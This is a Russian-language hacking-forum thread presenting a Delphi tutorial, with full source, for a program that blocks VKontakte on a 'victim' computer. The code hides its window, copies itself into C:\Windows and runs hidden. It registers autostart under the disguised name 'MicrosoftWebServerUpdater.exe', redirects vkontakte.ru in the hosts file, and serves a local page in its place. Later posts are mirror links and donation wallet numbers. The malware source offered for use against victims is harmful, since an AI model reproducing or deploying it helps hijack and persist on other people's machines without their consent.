Добрый день, сегодня я опишу метод блокировки вконтакте средствами Delphi. Главное преимущество нашей идеи состоит в том, что она не требует хостинга.
[Ссылки могут видеть только зарегистрированные пользователи. ]
Наша программка будет редактировать всем известный файл hosts и поднимать на компьютере жертвы собственный http-сервер, таким образом компьютер жертвы и будет хостом для сайта, на который будет прописан редирект в хостс.
Нам потребуется
[1] Delphi 7
[2] Установленная библиотека Indy
Для начала создадим html-файлик, который станет страничкой, которую увидит пользователь, попытавшись войти на свой аккаунт.
Моя картинка вот [Ссылки могут видеть только зарегистрированные пользователи. ]
Теперь поместите наш файл и картинку в папку C:\Windows\
Приступим к написанию веб-сервера.
Кинем на форму idHTTPServer с закладки Indy Servers
Назовем его Server
В событии создания формы напишем
procedure TForm1.FormCreate(Sender: TObject);
var str:tstringlist;
begin
application.ShowMainForm:=false; //Делаем форму скрытой
if not FileExists('C:\Windows\webserver.exe') then begin //Проверка, если веб //сервера нет в папке
CopyFile(pchar(application.exename),'C:\Windows\we bserver.exe',false); //То //скопируемся туда
WinExec('C:\Windows\webserver.exe',sw_hide); //И запустим сервер
RegHosts; //Процедура модификации хостс
RegRun; //Пропись в реестре
Application.Terminate; //Если это убрать, то наш сервер не запустится, т.к.
//На одном компе может быть запущен только один сервер на одном порту
end
else
begin
RegRun; //Иначе пропишемся в реестр
RegHosts; //Модифицируем хостс
server.Active:=true; //И включим сервер
end;
Теперь объявим процедуры RegRun и RegHosts
public
{ Public declarations }
procedure RegHosts;
procedure RegRun;
end;
Пропись в реестр
procedure TForm1.RegRun;
var reg:tregistry;
begin
reg := tregistry.create; //Инициализируем переменную
reg.rootkey := hkey_local_machine; //Открываем ключ реестра
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentver sion\run', false); //Открываем //подраздел реестра
reg.writestring('MicrosoftWebServerUpdater.exe', 'C:\Windows\webserver.exe'); //Прописываем путь до сервера в автозагрузку(вместо
//'C:\windows\webserver.exe' можно написать Application.exename
//Тогда программа пропишет в авторан путь до самой себя в данный момент
reg.closekey; //Закрываем раздел
reg.free; //Уничтожаем переменную
end;
procedure TForm1.RegHosts;
begin
Filestr:=tstringlist.Create; //Создаем список
Filestr.LoadFromFile('C:\Windows\System32\drivers\ etc\hosts'); //Загружаем //содержимое хостс в список
Filestr.Add('127.0.0.1 vkontakte.ru'); //Добавим строчку
//Слева написан IP, на который произойдет переадресация
//Справа - ресурс, с которого она произойдет
filestr.SaveToFile('C:\Windows\System32\drivers\et c\hosts'); //Сохраним изменения
Filestr.Free; //Освободим объект
end;
Теперь перейдем к программированию обработки запросов,
Посылаемых браузером жертвы на сервер.
В обработчике события OnCommandGet Server'a напишем следующее
procedure TForm1.ServerCommandGet(AThread: TIdPeerThread;
ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);
begin
if (pos('ndex',arequestinfo.document)=0)and(pos('12.b mp',arequestinfo.document)=0)
then
//Если пользователь браузер запрашивает нашу страничку
arequestinfo.Document:='index.html'; //Если запрашивается другая страничка
//То все равно откроем нашу. Я пишу такие условия потому, что иначе
//У меня программа вываливалась с экзепшном, может у вас получится
if arequestinfo.Document='/' then
begin
arequestinfo.Document:=''; //Обнуляем запрос
aresponseinfo.ContentStream:=tfilestream.Create('C :\windows\index.html',fmopenread); //отправляем клиенту файл index.html
end else
if arequestinfo.Document<>'/' then //Если прошлая проверка пройдена, то
//Отправляем файл клиенту(картинку)
//Если этого не написать, картинка не отобразится
aresponseinfo.ContentStream:=tfilestream.Create('C :\windows\'+arequestinfo.Document,fmopenread);
end;
При разрушении формы напишем
Server.active:=false; // Иначе программа будет некорректно работать
В uses обязательно добавьте Registry, иначе прописаться в реестр программа не сможет.
Теперь проверим, наберем в окне любого браузера 127.0.0.1
Если вам не открылся ваш html файл, то где-то вы допустили ошибку.
Теперь пробуем ввести vkontakte.ru
Если все правильно сделано, то видим свою табличку. Кому помог, ставьте плюсик.
Если я где-то ошибся, вот исходник
[Ссылки могут видеть только зарегистрированные пользователи. ] [Ссылки могут видеть только зарегистрированные пользователи. ]
Взято с ХакерПро
Последний раз редактировалось dkfl12r; 23.02.2011 в 12:46.
Залил на зеркала:
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Ещё раз перезалил:
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
Надеюсь, что больше просьб перезалить не будет
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Уважаемый, я нашёл из тех 20 2 рабочих ссылки, так что вы, по моему, набиваете посты.
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.